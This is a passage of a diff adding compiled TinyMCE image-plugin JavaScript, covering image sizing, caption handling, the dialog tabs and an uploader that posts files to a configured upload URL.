+    getPrependUrl: getPrependUrl,
+    getClassList: getClassList,
+    hasDescription: hasDescription,
+    hasImageTitle: hasImageTitle,
+    hasImageCaption: hasImageCaption,
+    getImageList: getImageList,
+    hasUploadUrl: hasUploadUrl,
+    hasUploadHandler: hasUploadHandler,
+    getUploadUrl: getUploadUrl,
+    getUploadHandler: getUploadHandler,
+    getUploadBasePath: getUploadBasePath,
+    getUploadCredentials: getUploadCredentials
+  };
+
+  var Global = typeof window !== 'undefined' ? window : Function('return this;')();
+
+  var path = function (parts, scope) {
+    var o = scope !== undefined && scope !== null ? scope : Global;
+    for (var i = 0; i < parts.length && o !== undefined && o !== null; ++i)
+      o = o[parts[i]];
+    return o;
+  };
+  var resolve = function (p, scope) {
+    var parts = p.split('.');
+    return path(parts, scope);
+  };
+
+  var unsafe = function (name, scope) {
+    return resolve(name, scope);
+  };
+  var getOrDie = function (name, scope) {
+    var actual = unsafe(name, scope);
+    if (actual === undefined || actual === null)
+      throw name + ' not available on this browser';
+    return actual;
+  };
+  var $_oab1bcwjjgwebwl = { getOrDie: getOrDie };
+
+  function FileReader () {
+    var f = $_oab1bcwjjgwebwl.getOrDie('FileReader');
+    return new f();
+  }
+
+  var global$1 = tinymce.util.Tools.resolve('tinymce.util.Promise');
+
+  var global$2 = tinymce.util.Tools.resolve('tinymce.util.Tools');
+
+  var global$3 = tinymce.util.Tools.resolve('tinymce.util.XHR');
+
+  var parseIntAndGetMax = function (val1, val2) {
+    return Math.max(parseInt(val1, 10), parseInt(val2, 10));
+  };
+  var getImageSize = function (url, callback) {
+    var img = document.createElement('img');
+    function done(width, height) {
+      if (img.parentNode) {
+        img.parentNode.removeChild(img);
+      }
+      callback({
+        width: width,
+        height: height
+      });
+    }
+    img.onload = function () {
+      var width = parseIntAndGetMax(img.width, img.clientWidth);
+      var height = parseIntAndGetMax(img.height, img.clientHeight);
+      done(width, height);
+    };
+    img.onerror = function () {
+      done(0, 0);
+    };
+    var style = img.style;
+    style.visibility = 'hidden';
+    style.position = 'fixed';
+    style.bottom = style.left = '0px';
+    style.width = style.height = 'auto';
+    document.body.appendChild(img);
+    img.src = url;
+  };
+  var buildListItems = function (inputList, itemCallback, startItems) {
+    function appendItems(values, output) {
+      output = output || [];
+      global$2.each(values, function (item) {
+        var menuItem = { text: item.text || item.title };
+        if (item.menu) {
+          menuItem.menu = appendItems(item.menu);
+        } else {
+          menuItem.value = item.value;
+          itemCallback(menuItem);
+        }
+        output.push(menuItem);
+      });
+      return output;
+    }
+    return appendItems(inputList, startItems || []);
+  };
+  var removePixelSuffix = function (value) {
+    if (value) {
+      value = value.replace(/px$/, '');
+    }
+    return value;
+  };
+  var addPixelSuffix = function (value) {
+    if (value.length > 0 && /^[0-9]+$/.test(value)) {
+      value += 'px';
+    }
+    return value;
+  };
+  var mergeMargins = function (css) {
+    if (css.margin) {
+      var splitMargin = css.margin.split(' ');
+      switch (splitMargin.length) {
+      case 1:
+        css['margin-top'] = css['margin-top'] || splitMargin[0];
+        css['margin-right'] = css['margin-right'] || splitMargin[0];
+        css['margin-bottom'] = css['margin-bottom'] || splitMargin[0];
+        css['margin-left'] = css['margin-left'] || splitMargin[0];
+        break;
+      case 2:
+        css['margin-top'] = css['margin-top'] || splitMargin[0];
+        css['margin-right'] = css['margin-right'] || splitMargin[1];
+        css['margin-bottom'] = css['margin-bottom'] || splitMargin[0];
+        css['margin-left'] = css['margin-left'] || splitMargin[1];
+        break;
+      case 3:
+        css['margin-top'] = css['margin-top'] || splitMargin[0];
+        css['margin-right'] = css['margin-right'] || splitMargin[1];
+        css['margin-bottom'] = css['margin-bottom'] || splitMargin[2];
+        css['margin-left'] = css['margin-left'] || splitMargin[1];
+        break;
+      case 4:
+        css['margin-top'] = css['margin-top'] || splitMargin[0];
+        css['margin-right'] = css['margin-right'] || splitMargin[1];
+        css['margin-bottom'] = css['margin-bottom'] || splitMargin[2];
+        css['margin-left'] = css['margin-left'] || splitMargin[3];
+      }
+      delete css.margin;
+    }
+    return css;
+  };
+  var createImageList = function (editor, callback) {
+    var imageList = $_1dn8wtctjjgwebvz.getImageList(editor);
+    if (typeof imageList === 'string') {
+      global$3.send({
+        url: imageList,
+        success: function (text) {
+          callback(JSON.parse(text));
+        }
+      });
+    } else if (typeof imageList === 'function') {
+      imageList(callback);
+    } else {
+      callback(imageList);
+    }
+  };
+  var waitLoadImage = function (editor, data, imgElm) {
+    function selectImage() {
+      imgElm.onload = imgElm.onerror = null;
+      if (editor.selection) {
+        editor.selection.select(imgElm);
+        editor.nodeChanged();
+      }
+    }
+    imgElm.onload = function () {
+      if (!data.width && !data.height && $_1dn8wtctjjgwebvz.hasDimensions(editor)) {
+        editor.dom.setAttribs(imgElm, {
+          width: imgElm.clientWidth,
+          height: imgElm.clientHeight
+        });
+      }
+      selectImage();
+    };
+    imgElm.onerror = selectImage;
+  };
+  var blobToDataUri = function (blob) {
+    return new global$1(function (resolve, reject) {
+      var reader = new FileReader();
+      reader.onload = function () {
+        resolve(reader.result);
+      };
+      reader.onerror = function () {
+        reject(FileReader.error.message);
+      };
+      reader.readAsDataURL(blob);
+    });
+  };
+  var $_1e8k4ncujjgwebw2 = {
+    getImageSize: getImageSize,
+    buildListItems: buildListItems,
+    removePixelSuffix: removePixelSuffix,
+    addPixelSuffix: addPixelSuffix,
+    mergeMargins: mergeMargins,
+    createImageList: createImageList,
+    waitLoadImage: waitLoadImage,
+    blobToDataUri: blobToDataUri
+  };
+
+  var global$4 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');
+
+  var hasOwnProperty = Object.prototype.hasOwnProperty;
+  var shallow = function (old, nu) {
+    return nu;
+  };
+  var baseMerge = function (merger) {
+    return function () {
+      var objects = new Array(arguments.length);
+      for (var i = 0; i < objects.length; i++)
+        objects[i] = arguments[i];
+      if (objects.length === 0)
+        throw new Error('Can\'t merge zero objects');
+      var ret = {};
+      for (var j = 0; j < objects.length; j++) {
+        var curObject = objects[j];
+        for (var key in curObject)
+          if (hasOwnProperty.call(curObject, key)) {
+            ret[key] = merger(ret[key], curObject[key]);
+          }
+      }
+      return ret;
+    };
+  };
+
+  var merge = baseMerge(shallow);
+
+  var DOM = global$4.DOM;
+  var getHspace = function (image) {
+    if (image.style.marginLeft && image.style.marginRight && image.style.marginLeft === image.style.marginRight) {
+      return $_1e8k4ncujjgwebw2.removePixelSuffix(image.style.marginLeft);
+    } else {
+      return '';
+    }
+  };
+  var getVspace = function (image) {
+    if (image.style.marginTop && image.style.marginBottom && image.style.marginTop === image.style.marginBottom) {
+      return $_1e8k4ncujjgwebw2.removePixelSuffix(image.style.marginTop);
+    } else {
+      return '';
+    }
+  };
+  var getBorder = function (image) {
+    if (image.style.borderWidth) {
+      return $_1e8k4ncujjgwebw2.removePixelSuffix(image.style.borderWidth);
+    } else {
+      return '';
+    }
+  };
+  var getAttrib = function (image, name$$1) {
+    if (image.hasAttribute(name$$1)) {
+      return image.getAttribute(name$$1);
+    } else {
+      return '';
+    }
+  };
+  var getStyle = function (image, name$$1) {
+    return image.style[name$$1] ? image.style[name$$1] : '';
+  };
+  var hasCaption = function (image) {
+    return image.parentNode !== null && image.parentNode.nodeName === 'FIGURE';
+  };
+  var setAttrib = function (image, name$$1, value) {
+    image.setAttribute(name$$1, value);
+  };
+  var wrapInFigure = function (image) {
+    var figureElm = DOM.create('figure', { class: 'image' });
+    DOM.insertAfter(figureElm, image);
+    figureElm.appendChild(image);
+    figureElm.appendChild(DOM.create('figcaption', { contentEditable: true }, 'Caption'));
+    figureElm.contentEditable = 'false';
+  };
+  var removeFigure = function (image) {
+    var figureElm = image.parentNode;
+    DOM.insertAfter(image, figureElm);
+    DOM.remove(figureElm);
+  };
+  var toggleCaption = function (image) {
+    if (hasCaption(image)) {
+      removeFigure(image);
+    } else {
+      wrapInFigure(image);
+    }
+  };
+  var normalizeStyle = function (image, normalizeCss) {
+    var attrValue = image.getAttribute('style');
+    var value = normalizeCss(attrValue !== null ? attrValue : '');
+    if (value.length > 0) {
+      image.setAttribute('style', value);
+      image.setAttribute('data-mce-style', value);
+    } else {
+      image.removeAttribute('style');
+    }
+  };
+  var setSize = function (name$$1, normalizeCss) {
+    return function (image, name$$1, value) {
+      if (image.style[name$$1]) {
+        image.style[name$$1] = $_1e8k4ncujjgwebw2.addPixelSuffix(value);
+        normalizeStyle(image, normalizeCss);
+      } else {
+        setAttrib(image, name$$1, value);
+      }
+    };
+  };
+  var getSize = function (image, name$$1) {
+    if (image.style[name$$1]) {
+      return $_1e8k4ncujjgwebw2.removePixelSuffix(image.style[name$$1]);
+    } else {
+      return getAttrib(image, name$$1);
+    }
+  };
+  var setHspace = function (image, value) {
+    var pxValue = $_1e8k4ncujjgwebw2.addPixelSuffix(value);
+    image.style.marginLeft = pxValue;
+    image.style.marginRight = pxValue;
+  };
+  var setVspace = function (image, value) {
+    var pxValue = $_1e8k4ncujjgwebw2.addPixelSuffix(value);
+    image.style.marginTop = pxValue;
+    image.style.marginBottom = pxValue;
+  };
+  var setBorder = function (image, value) {
+    var pxValue = $_1e8k4ncujjgwebw2.addPixelSuffix(value);
+    image.style.borderWidth = pxValue;
+  };
+  var setBorderStyle = function (image, value) {
+    image.style.borderStyle = value;
+  };
+  var getBorderStyle = function (image) {
+    return getStyle(image, 'borderStyle');
+  };
+  var isFigure = function (elm) {
+    return elm.nodeName === 'FIGURE';
+  };
+  var defaultData = function () {
+    return {
+      src: '',
+      alt: '',
+      title: '',
+      width: '',
+      height: '',
+      class: '',
+      style: '',
+      caption: false,
+      hspace: '',
+      vspace: '',
+      border: '',
+      borderStyle: ''
+    };
+  };
+  var getStyleValue = function (normalizeCss, data) {
+    var image = document.createElement('img');
+    setAttrib(image, 'style', data.style);
+    if (getHspace(image) || data.hspace !== '') {
+      setHspace(image, data.hspace);
+    }
+    if (getVspace(image) || data.vspace !== '') {
+      setVspace(image, data.vspace);
+    }
+    if (getBorder(image) || data.border !== '') {
+      setBorder(image, data.border);
+    }
+    if (getBorderStyle(image) || data.borderStyle !== '') {
+      setBorderStyle(image, data.borderStyle);
+    }
+    return normalizeCss(image.getAttribute('style'));
+  };
+  var create = function (normalizeCss, data) {
+    var image = document.createElement('img');
+    write(normalizeCss, merge(data, { caption: false }), image);
+    setAttrib(image, 'alt', data.alt);
+    if (data.caption) {
+      var figure = DOM.create('figure', { class: 'image' });
+      figure.appendChild(image);
+      figure.appendChild(DOM.create('figcaption', { contentEditable: true }, 'Caption'));
+      figure.contentEditable = 'false';
+      return figure;
+    } else {
+      return image;
+    }
+  };
+  var read = function (normalizeCss, image) {
+    return {
+      src: getAttrib(image, 'src'),
+      alt: getAttrib(image, 'alt'),
+      title: getAttrib(image, 'title'),
+      width: getSize(image, 'width'),
+      height: getSize(image, 'height'),
+      class: getAttrib(image, 'class'),
+      style: normalizeCss(getAttrib(image, 'style')),
+      caption: hasCaption(image),
+      hspace: getHspace(image),
+      vspace: getVspace(image),
+      border: getBorder(image),
+      borderStyle: getStyle(image, 'borderStyle')
+    };
+  };
+  var updateProp = function (image, oldData, newData, name$$1, set) {
+    if (newData[name$$1] !== oldData[name$$1]) {
+      set(image, name$$1, newData[name$$1]);
+    }
+  };
+  var normalized = function (set, normalizeCss) {
+    return function (image, name$$1, value) {
+      set(image, value);
+      normalizeStyle(image, normalizeCss);
+    };
+  };
+  var write = function (normalizeCss, newData, image) {
+    var oldData = read(normalizeCss, image);
+    updateProp(image, oldData, newData, 'caption', function (image, _name, _value) {
+      return toggleCaption(image);
+    });
+    updateProp(image, oldData, newData, 'src', setAttrib);
+    updateProp(image, oldData, newData, 'alt', setAttrib);
+    updateProp(image, oldData, newData, 'title', setAttrib);
+    updateProp(image, oldData, newData, 'width', setSize('width', normalizeCss));
+    updateProp(image, oldData, newData, 'height', setSize('height', normalizeCss));
+    updateProp(image, oldData, newData, 'class', setAttrib);
+    updateProp(image, oldData, newData, 'style', normalized(function (image, value) {
+      return setAttrib(image, 'style', value);
+    }, normalizeCss));
+    updateProp(image, oldData, newData, 'hspace', normalized(setHspace, normalizeCss));
+    updateProp(image, oldData, newData, 'vspace', normalized(setVspace, normalizeCss));
+    updateProp(image, oldData, newData, 'border', normalized(setBorder, normalizeCss));
+    updateProp(image, oldData, newData, 'borderStyle', normalized(setBorderStyle, normalizeCss));
+  };
+
+  var normalizeCss = function (editor, cssText) {
+    var css = editor.dom.styles.parse(cssText);
+    var mergedCss = $_1e8k4ncujjgwebw2.mergeMargins(css);
+    var compressed = editor.dom.styles.parse(editor.dom.styles.serialize(mergedCss));
+    return editor.dom.styles.serialize(compressed);
+  };
+  var getSelectedImage = function (editor) {
+    var imgElm = editor.selection.getNode();
+    var figureElm = editor.dom.getParent(imgElm, 'figure.image');
+    if (figureElm) {
+      return editor.dom.select('img', figureElm)[0];
+    }
+    if (imgElm && (imgElm.nodeName !== 'IMG' || imgElm.getAttribute('data-mce-object') || imgElm.getAttribute('data-mce-placeholder'))) {
+      return null;
+    }
+    return imgElm;
+  };
+  var splitTextBlock = function (editor, figure) {
+    var dom = editor.dom;
+    var textBlock = dom.getParent(figure.parentNode, function (node) {
+      return editor.schema.getTextBlockElements()[node.nodeName];
+    });
+    if (textBlock) {
+      return dom.split(textBlock, figure);
+    } else {
+      return figure;
+    }
+  };
+  var readImageDataFromSelection = function (editor) {
+    var image = getSelectedImage(editor);
+    return image ? read(function (css) {
+      return normalizeCss(editor, css);
+    }, image) : defaultData();
+  };
+  var insertImageAtCaret = function (editor, data) {
+    var elm = create(function (css) {
+      return normalizeCss(editor, css);
+    }, data);
+    editor.dom.setAttrib(elm, 'data-mce-id', '__mcenew');
+    editor.focus();
+    editor.selection.setContent(elm.outerHTML);
+    var insertedElm = editor.dom.select('*[data-mce-id="__mcenew"]')[0];
+    editor.dom.setAttrib(insertedElm, 'data-mce-id', null);
+    if (isFigure(insertedElm)) {
+      var figure = splitTextBlock(editor, insertedElm);
+      editor.selection.select(figure);
+    } else {
+      editor.selection.select(insertedElm);
+    }
+  };
+  var syncSrcAttr = function (editor, image) {
+    editor.dom.setAttrib(image, 'src', image.getAttribute('src'));
+  };
+  var deleteImage = function (editor, image) {
+    if (image) {
+      var elm = editor.dom.is(image.parentNode, 'figure.image') ? image.parentNode : image;
+      editor.dom.remove(elm);
+      editor.focus();
+      editor.nodeChanged();
+      if (editor.dom.isEmpty(editor.getBody())) {
+        editor.setContent('');
+        editor.selection.setCursorLocation();
+      }
+    }
+  };
+  var writeImageDataToSelection = function (editor, data) {
+    var image = getSelectedImage(editor);
+    write(function (css) {
+      return normalizeCss(editor, css);
+    }, data, image);
+    syncSrcAttr(editor, image);
+    if (isFigure(image.parentNode)) {
+      var figure = image.parentNode;
+      splitTextBlock(editor, figure);
+      editor.selection.select(image.parentNode);
+    } else {
+      editor.selection.select(image);
+      $_1e8k4ncujjgwebw2.waitLoadImage(editor, data, image);
+    }
+  };
+  var insertOrUpdateImage = function (editor, data) {
+    var image = getSelectedImage(editor);
+    if (image) {
+      if (data.src) {
+        writeImageDataToSelection(editor, data);
+      } else {
+        deleteImage(editor, image);
+      }
+    } else if (data.src) {
+      insertImageAtCaret(editor, data);
+    }
+  };
+
+  var updateVSpaceHSpaceBorder = function (editor) {
+    return function (evt) {
+      var dom = editor.dom;
+      var rootControl = evt.control.rootControl;
+      if (!$_1dn8wtctjjgwebvz.hasAdvTab(editor)) {
+        return;
+      }
+      var data = rootControl.toJSON();
+      var css = dom.parseStyle(data.style);
+      rootControl.find('#vspace').value('');
+      rootControl.find('#hspace').value('');
+      css = $_1e8k4ncujjgwebw2.mergeMargins(css);
+      if (css['margin-top'] && css['margin-bottom'] || css['margin-right'] && css['margin-left']) {
+        if (css['margin-top'] === css['margin-bottom']) {
+          rootControl.find('#vspace').value($_1e8k4ncujjgwebw2.removePixelSuffix(css['margin-top']));
+        } else {
+          rootControl.find('#vspace').value('');
+        }
+        if (css['margin-right'] === css['margin-left']) {
+          rootControl.find('#hspace').value($_1e8k4ncujjgwebw2.removePixelSuffix(css['margin-right']));
+        } else {
+          rootControl.find('#hspace').value('');
+        }
+      }
+      if (css['border-width']) {
+        rootControl.find('#border').value($_1e8k4ncujjgwebw2.removePixelSuffix(css['border-width']));
+      } else {
+        rootControl.find('#border').value('');
+      }
+      if (css['border-style']) {
+        rootControl.find('#borderStyle').value(css['border-style']);
+      } else {
+        rootControl.find('#borderStyle').value('');
+      }
+      rootControl.find('#style').value(dom.serializeStyle(dom.parseStyle(dom.serializeStyle(css))));
+    };
+  };
+  var updateStyle = function (editor, win) {
+    win.find('#style').each(function (ctrl) {
+      var value = getStyleValue(function (css) {
+        return normalizeCss(editor, css);
+      }, merge(defaultData(), win.toJSON()));
+      ctrl.value(value);
+    });
+  };
+  var makeTab = function (editor) {
+    return {
+      title: 'Advanced',
+      type: 'form',
+      pack: 'start',
+      items: [
+        {
+          label: 'Style',
+          name: 'style',
+          type: 'textbox',
+          onchange: updateVSpaceHSpaceBorder(editor)
+        },
+        {
+          type: 'form',
+          layout: 'grid',
+          packV: 'start',
+          columns: 2,
+          padding: 0,
+          defaults: {
+            type: 'textbox',
+            maxWidth: 50,
+            onchange: function (evt) {
+              updateStyle(editor, evt.control.rootControl);
+            }
+          },
+          items: [
+            {
+              label: 'Vertical space',
+              name: 'vspace'
+            },
+            {
+              label: 'Border width',
+              name: 'border'
+            },
+            {
+              label: 'Horizontal space',
+              name: 'hspace'
+            },
+            {
+              label: 'Border style',
+              type: 'listbox',
+              name: 'borderStyle',
+              width: 90,
+              maxWidth: 90,
+              onselect: function (evt) {
+                updateStyle(editor, evt.control.rootControl);
+              },
+              values: [
+                {
+                  text: 'Select...',
+                  value: ''
+                },
+                {
+                  text: 'Solid',
+                  value: 'solid'
+                },
+                {
+                  text: 'Dotted',
+                  value: 'dotted'
+                },
+                {
+                  text: 'Dashed',
+                  value: 'dashed'
+                },
+                {
+                  text: 'Double',
+                  value: 'double'
+                },
+                {
+                  text: 'Groove',
+                  value: 'groove'
+                },
+                {
+                  text: 'Ridge',
+                  value: 'ridge'
+                },
+                {
+                  text: 'Inset',
+                  value: 'inset'
+                },
+                {
+                  text: 'Outset',
+                  value: 'outset'
+                },
+                {
+                  text: 'None',
+                  value: 'none'
+                },
+                {
+                  text: 'Hidden',
+                  value: 'hidden'
+                }
+              ]
+            }
+          ]
+        }
+      ]
+    };
+  };
+  var $_6dfy5vd3jjgwebxf = { makeTab: makeTab };
+
+  var doSyncSize = function (widthCtrl, heightCtrl) {
+    widthCtrl.state.set('oldVal', widthCtrl.value());
+    heightCtrl.state.set('oldVal', heightCtrl.value());
+  };
+  var doSizeControls = function (win, f) {
+    var widthCtrl = win.find('#width')[0];
+    var heightCtrl = win.find('#height')[0];
+    var constrained = win.find('#constrain')[0];
+    if (widthCtrl && heightCtrl && constrained) {
+      f(widthCtrl, heightCtrl, constrained.checked());
+    }
+  };
+  var doUpdateSize = function (widthCtrl, heightCtrl, isContrained) {
+    var oldWidth = widthCtrl.state.get('oldVal');
+    var oldHeight = heightCtrl.state.get('oldVal');
+    var newWidth = widthCtrl.value();
+    var newHeight = heightCtrl.value();
+    if (isContrained && oldWidth && oldHeight && newWidth && newHeight) {
+      if (newWidth !== oldWidth) {
+        newHeight = Math.round(newWidth / oldWidth * newHeight);
+        if (!isNaN(newHeight)) {
+          heightCtrl.value(newHeight);
+        }
+      } else {
+        newWidth = Math.round(newHeight / oldHeight * newWidth);
+        if (!isNaN(newWidth)) {
+          widthCtrl.value(newWidth);
+        }
+      }
+    }
+    doSyncSize(widthCtrl, heightCtrl);
+  };
+  var syncSize = function (win) {
+    doSizeControls(win, doSyncSize);
+  };
+  var updateSize = function (win) {
+    doSizeControls(win, doUpdateSize);
+  };
+  var createUi = function () {
+    var recalcSize = function (evt) {
+      updateSize(evt.control.rootControl);
+    };
+    return {
+      type: 'container',
+      label: 'Dimensions',
+      layout: 'flex',
+      align: 'center',
+      spacing: 5,
+      items: [
+        {
+          name: 'width',
+          type: 'textbox',
+          maxLength: 5,
+          size: 5,
+          onchange: recalcSize,
+          ariaLabel: 'Width'
+        },
+        {
+          type: 'label',
+          text: 'x'
+        },
+        {
+          name: 'height',
+          type: 'textbox',
+          maxLength: 5,
+          size: 5,
+          onchange: recalcSize,
+          ariaLabel: 'Height'
+        },
+        {
+          name: 'constrain',
+          type: 'checkbox',
+          checked: true,
+          text: 'Constrain proportions'
+        }
+      ]
+    };
+  };
+  var $_ftlz5pdajjgweby4 = {
+    createUi: createUi,
+    syncSize: syncSize,
+    updateSize: updateSize
+  };
+
+  var onSrcChange = function (evt, editor) {
+    var srcURL, prependURL, absoluteURLPattern;
+    var meta = evt.meta || {};
+    var control = evt.control;
+    var rootControl = control.rootControl;
+    var imageListCtrl = rootControl.find('#image-list')[0];
+    if (imageListCtrl) {
+      imageListCtrl.value(editor.convertURL(control.value(), 'src'));
+    }
+    global$2.each(meta, function (value, key) {
+      rootControl.find('#' + key).value(value);
+    });
+    if (!meta.width && !meta.height) {
+      srcURL = editor.convertURL(control.value(), 'src');
+      prependURL = $_1dn8wtctjjgwebvz.getPrependUrl(editor);
+      absoluteURLPattern = new RegExp('^(?:[a-z]+:)?//', 'i');
+      if (prependURL && !absoluteURLPattern.test(srcURL) && srcURL.substring(0, prependURL.length) !== prependURL) {
+        srcURL = prependURL + srcURL;
+      }
+      control.value(srcURL);
+      $_1e8k4ncujjgwebw2.getImageSize(editor.documentBaseURI.toAbsolute(control.value()), function (data) {
+        if (data.width && data.height && $_1dn8wtctjjgwebvz.hasDimensions(editor)) {
+          rootControl.find('#width').value(data.width);
+          rootControl.find('#height').value(data.height);
+          $_ftlz5pdajjgweby4.syncSize(rootControl);
+        }
+      });
+    }
+  };
+  var onBeforeCall = function (evt) {
+    evt.meta = evt.control.rootControl.toJSON();
+  };
+  var getGeneralItems = function (editor, imageListCtrl) {
+    var generalFormItems = [
+      {
+        name: 'src',
+        type: 'filepicker',
+        filetype: 'image',
+        label: 'Source',
+        autofocus: true,
+        onchange: function (evt) {
+          onSrcChange(evt, editor);
+        },
+        onbeforecall: onBeforeCall
+      },
+      imageListCtrl
+    ];
+    if ($_1dn8wtctjjgwebvz.hasDescription(editor)) {
+      generalFormItems.push({
+        name: 'alt',
+        type: 'textbox',
+        label: 'Image description'
+      });
+    }
+    if ($_1dn8wtctjjgwebvz.hasImageTitle(editor)) {
+      generalFormItems.push({
+        name: 'title',
+        type: 'textbox',
+        label: 'Image Title'
+      });
+    }
+    if ($_1dn8wtctjjgwebvz.hasDimensions(editor)) {
+      generalFormItems.push($_ftlz5pdajjgweby4.createUi());
+    }
+    if ($_1dn8wtctjjgwebvz.getClassList(editor)) {
+      generalFormItems.push({
+        name: 'class',
+        type: 'listbox',
+        label: 'Class',
+        values: $_1e8k4ncujjgwebw2.buildListItems($_1dn8wtctjjgwebvz.getClassList(editor), function (item) {
+          if (item.value) {
+            item.textStyle = function () {
+              return editor.formatter.getCssText({
+                inline: 'img',
+                classes: [item.value]
+              });
+            };
+          }
+        })
+      });
+    }
+    if ($_1dn8wtctjjgwebvz.hasImageCaption(editor)) {
+      generalFormItems.push({
+        name: 'caption',
+        type: 'checkbox',
+        label: 'Caption'
+      });
+    }
+    return generalFormItems;
+  };
+  var makeTab$1 = function (editor, imageListCtrl) {
+    return {
+      title: 'General',
+      type: 'form',
+      items: getGeneralItems(editor, imageListCtrl)
+    };
+  };
+  var $_78zck5d9jjgweby1 = {
+    makeTab: makeTab$1,
+    getGeneralItems: getGeneralItems
+  };
+
+  var url = function () {
+    return $_oab1bcwjjgwebwl.getOrDie('URL');
+  };
+  var createObjectURL = function (blob) {
+    return url().createObjectURL(blob);
+  };
+  var revokeObjectURL = function (u) {
+    url().revokeObjectURL(u);
+  };
+  var $_86i13edcjjgwebya = {
+    createObjectURL: createObjectURL,
+    revokeObjectURL: revokeObjectURL
+  };
+
+  var global$5 = tinymce.util.Tools.resolve('tinymce.ui.Factory');
+
+  function XMLHttpRequest () {
+    var f = $_oab1bcwjjgwebwl.getOrDie('XMLHttpRequest');
+    return new f();
+  }
+
+  var noop = function () {
+  };
+  var pathJoin = function (path1, path2) {
+    if (path1) {
+      return path1.replace(/\/$/, '') + '/' + path2.replace(/^\//, '');
+    }
+    return path2;
+  };
+  function Uploader (settings) {
+    var defaultHandler = function (blobInfo, success, failure, progress) {
+      var xhr, formData;
+      xhr = new XMLHttpRequest();
+      xhr.open('POST', settings.url);
+      xhr.withCredentials = settings.credentials;
+      xhr.upload.onprogress = function (e) {
+        progress(e.loaded / e.total * 100);
+      };
+      xhr.onerror = function () {
+        failure('Image upload failed due to a XHR Transport error. Code: ' + xhr.status);
+      };
+      xhr.onload = function () {
+        var json;
+        if (xhr.status < 200 || xhr.status >= 300) {
+          failure('HTTP Error: ' + xhr.status);
+          return;
+        }
+        json = JSON.parse(xhr.responseText);
+        if (!json || typeof json.location !== 'string') {
+          failure('Invalid JSON: ' + xhr.responseText);
+          return;
+        }
+        success(pathJoin(settings.basePath, json.location));
+      };
+      formData = new FormData();
+      formData.append('file', blobInfo.blob(), blobInfo.filename());
+      xhr.send(formData);
+    };
+    var uploadBlob = function (blobInfo, handler) {
+      return new global$1(function (resolve, reject) {
+        try {
+          handler(blobInfo, resolve, reject, noop);
+        } catch (ex) {
+          reject(ex.message);
+        }
+      });
+    };
+    var isDefaultHandler = function (handler) {
+      return handler === defaultHandler;
+    };
+    var upload = function (blobInfo) {
+      return !settings.url && isDefaultHandler(settings.handler) ? global$1.reject('Upload url missing from the settings.') : uploadBlob(blobInfo, settings.handler);
+    };
+    settings = global$2.extend({
+      credentials: false,
+      handler: defaultHandler
+    }, settings);
+    return { upload: upload };
+  }
+
+  var onFileInput = function (editor) {
+    return function (evt) {
+      var Throbber = global$5.get('Throbber');
+      var rootControl = evt.control.rootControl;
+      var throbber = new Throbber(rootControl.getEl());
+      var file = evt.control.value();
+      var blobUri = $_86i13edcjjgwebya.createObjectURL(file);
+      var uploader = Uploader({
+        url: $_1dn8wtctjjgwebvz.getUploadUrl(editor),
+        basePath: $_1dn8wtctjjgwebvz.getUploadBasePath(editor),
+        credentials: $_1dn8wtctjjgwebvz.getUploadCredentials(editor),
+        handler: $_1dn8wtctjjgwebvz.getUploadHandler(editor)
+      });
+      var finalize = function () {
+        throbber.hide();
+        $_86i13edcjjgwebya.revokeObjectURL(blobUri);
+      };
+      throbber.show();
+      return $_1e8k4ncujjgwebw2.blobToDataUri(file).then(function (dataUrl) {
+        var blobInfo = editor.editorUpload.blobCache.create({
+          blob: file,
+          blobUri: blobUri,
+          name: file.name ? file.name.replace(/\.[^\.]+$/, '') : null,
+          base64: dataUrl.split(',')[1]
+        });
+        return uploader.upload(blobInfo).then(function (url) {
+          var src = rootControl.find('#src');
+          src.value(url);
+          rootControl.find('tabpanel')[0].activateTab(0);
+          src.fire('change');
+          finalize();
+          return url;
+        });
+      }).catch(function (err) {
+        editor.windowManager.alert(err);
+        finalize();
+      });
+    };
+  };
+  var acceptExts = '.jpg,.jpeg,.png,.gif';
+  var makeTab$2 = function (editor) {
+    return {
+      title: 'Upload',
+      type: 'form',
+      layout: 'flex',
+      direction: 'column',
+      align: 'stretch',
+      padding: '20 20 20 20',
+      items: [
+        {
+          type: 'container',
+          layout: 'flex',
+          direction: 'column',
+          align: 'center',
+          spacing: 10,
+          items: [
+            {
+              text: 'Browse for an image',
+              type: 'browsebutton',
+              accept: acceptExts,
+              onchange: onFileInput(editor)
+            },
+            {
+              text: 'OR',
+              type: 'label'
+            }
+          ]
+        },
+        {
+          text: 'Drop an image here',
+          type: 'dropzone',
+          accept: acceptExts,
+          height: 100,
+          onchange: onFileInput(editor)
+        }
+      ]
+    };
+  };
+  var $_71qd7mdbjjgweby7 = { makeTab: makeTab$2 };
+
+  var curry = function (f) {
+    var x = [];
+    for (var _i = 1; _i < arguments.length; _i++) {
+      x[_i - 1] = arguments[_i];
+    }
+    var args = new Array(arguments.length - 1);
+    for (var i = 1; i < arguments.length; i++)
+      args[i - 1] = arguments[i];
+    return function () {
+      var x = [];
+      for (var _i = 0; _i < arguments.length; _i++) {
+        x[_i] = arguments[_i];
+      }
+      var newArgs = new Array(arguments.length);
+      for (var j = 0; j < newArgs.length; j++)
+        newArgs[j] = arguments[j];
+      var all = args.concat(newArgs);
+      return f.apply(null, all);
+    };
+  };
+
+  var submitForm = function (editor, evt) {
+    var win = evt.control.getRoot();
+    $_ftlz5pdajjgweby4.updateSize(win);
+    editor.undoManager.transact(function () {
+      var data = merge(readImageDataFromSelection(editor), win.toJSON());
+      insertOrUpdateImage(editor, data);
+    });
+    editor.editorUpload.uploadImagesAuto();
+  };
+  function Dialog (editor) {
+    function showDialog(imageList) {
+      var data = readImageDataFromSelection(editor);
+      var win, imageListCtrl;
+      if (imageList) {
+        imageListCtrl = {
+          type: 'listbox',
+          label: 'Image list',
+          name: 'image-list',
+          values: $_1e8k4ncujjgwebw2.buildListItems(imageList, function (item) {
+            item.value = editor.convertURL(item.value || item.url, 'src');
+          }, [{
+              text: 'None',
+              value: ''
+            }]),
+          value: data.src && editor.convertURL(data.src, 'src'),
+          onselect: function (e) {
+            var altCtrl = win.find('#alt');
+            if (!altCtrl.value() || e.lastControl && altCtrl.value() === e.lastControl.text()) {
+              altCtrl.value(e.control.text());
+            }
+            win.find('#src').value(e.control.value()).fire('change');
+          },
+          onPostRender: function () {
+            imageListCtrl = this;
+          }
+        };
+      }
+      if ($_1dn8wtctjjgwebvz.hasAdvTab(editor) || $_1dn8wtctjjgwebvz.hasUploadUrl(editor) || $_1dn8wtctjjgwebvz.hasUploadHandler(editor)) {
